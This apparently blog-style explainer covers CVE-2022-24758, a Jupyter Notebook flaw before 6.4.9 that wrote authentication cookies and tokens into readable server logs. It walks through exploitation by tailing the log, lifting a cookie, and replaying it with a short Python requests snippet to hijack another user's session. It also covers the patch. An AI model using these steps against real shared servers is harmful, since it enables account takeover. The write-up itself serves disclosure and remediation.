Jupyter Notebook is a powerful, web-based notebook environment used by data scientists, researchers, and students all over the world. It allows users to create and share documents with live code, equations, and visualizations—all from a browser interface. But sometimes, even the most trusted tools can have security holes.

One such issue, tracked as CVE-2022-24758, shook the Jupyter community in early 2022. It was a simple oversight with big consequences: sensitive authentication data, including cookies, could be written directly to the server log files without anyone knowing.

In this post, we’ll break down what went wrong, show you the underlying code problem, and explain how an attacker could have used this vulnerability to gain unauthorized access—all in clear, simple terms.

What Really Happened?

Prior to version 6.4.9, when Jupyter Notebook encountered an internal server error (a 5xx HTTP error), its default behavior was to log the full HTTP request—including header values—to a server-side log file. This behavior was invisible to end users and happened automatically on the backend.

Why does this matter? Because HTTP headers often contain sensitive info like authentication cookies (tokens that prove who you are) or API keys. Logging these headers is a major no-no for any secure application.

Worse, the Jupyter log files usually didn’t need special (root) permissions to view—regular users with server access could read them. This means that anyone who could connect to the server or run code there could just tail the logs and steal sensitive authentication data from other users.

Exploiting CVE-2022-24758: How Attackers Could Get In

Imagine an attacker is already on the same machine as Jupyter Notebook—perhaps a less-privileged user, or someone running code on a shared server. Here’s what they could do:

Step 1: Monitor the Server Logs

Jupyter logs, by default, live in the working directory or are managed by systemd or supervisor depending on setup. They’re readable by anyone with basic user access on vanilla installs.

tail -f /path/to/jupyter_notebook.log

Step 2: Wait for a 5xx Error

Anytime a bug or unexpected error triggers a 500, 502, or 503 response, Jupyter would dutifully log the request, including all headers:

[W 2022-03-01 12:00:00.000 NotebookApp] 500 POST /api/sessions?token=eyJhbGciOi... HTTP/1.1
Headers:
  Host: localhost:8888
  User-Agent: Mozilla/5. ...
  Cookie: username-1234="eyJhbGciOi..."
  Authorization: token=eyJhbGciOi...
...

Now, the attacker simply copies the cookie or token from the logs.

import requests

cookies = {
    'username-1234': 'eyJhbGciOi...'
}
r = requests.get(
    'http://<victim-jupyter-server>:8888/tree';,
    cookies=cookies
)
print(r.text) # Access the victim's notebook

Just like that, the attacker can impersonate the real user and fully access their Jupyter environment.

Silent: No visible warning to the user; everything happened silently in logs.

- No Root Needed: Log files didn’t need “admin” access by default. Anyone with user privileges had a shot.
- Sensitive Data Everywhere: Strong authentication tokens/cookies, valid in the current session, were up for grabs.

Here's a simplified example (based on Jupyter's Tornado logs)

try:
    # Process user request
    handle_request()
except Exception as e:
    # Log the request (including headers and cookies!) on error
    log.warning("Exception while handling request: %r" % request)
    raise

If request includes all HTTP headers, including sensitive cookies, this info ends up in your log files.

How Did Jupyter Fix It?

In version 6.4.9, the Jupyter developers patched the code to sanitize log entries, stripping out headers like Cookie and Authorization before anything gets written to disk.

They also reviewed and improved error handling so that only safe, non-sensitive data makes it to logs.

You can view the relevant pull request and discussion here:  
🔗 Jupyter Notebook Security Advisory - GitHub  
🔗 CVE-2022-24758 on NVD

Are There Any Workarounds?

No, there are currently no known workarounds for older versions before 6.4.9. The only safe option is to upgrade Jupyter Notebook to 6.4.9 or later.

Final Thoughts

CVE-2022-24758 is a classic example of how good intentions (robust error logging for debugging) can backfire if sensitive information isn’t protected. If you run Jupyter servers—especially in shared or multi-user environments—upgrade now, double-check your logs, and always follow security best practices.

References

- Official Security Advisory – GitHub jupyter/notebook
- CVE-2022-24758 on NVD
- Jupyter Notebook Release Notes

Timeline

Published on: 03/31/2022 23:15:00 UTC
Last modified on: 04/08/2022 16:28:00 UTC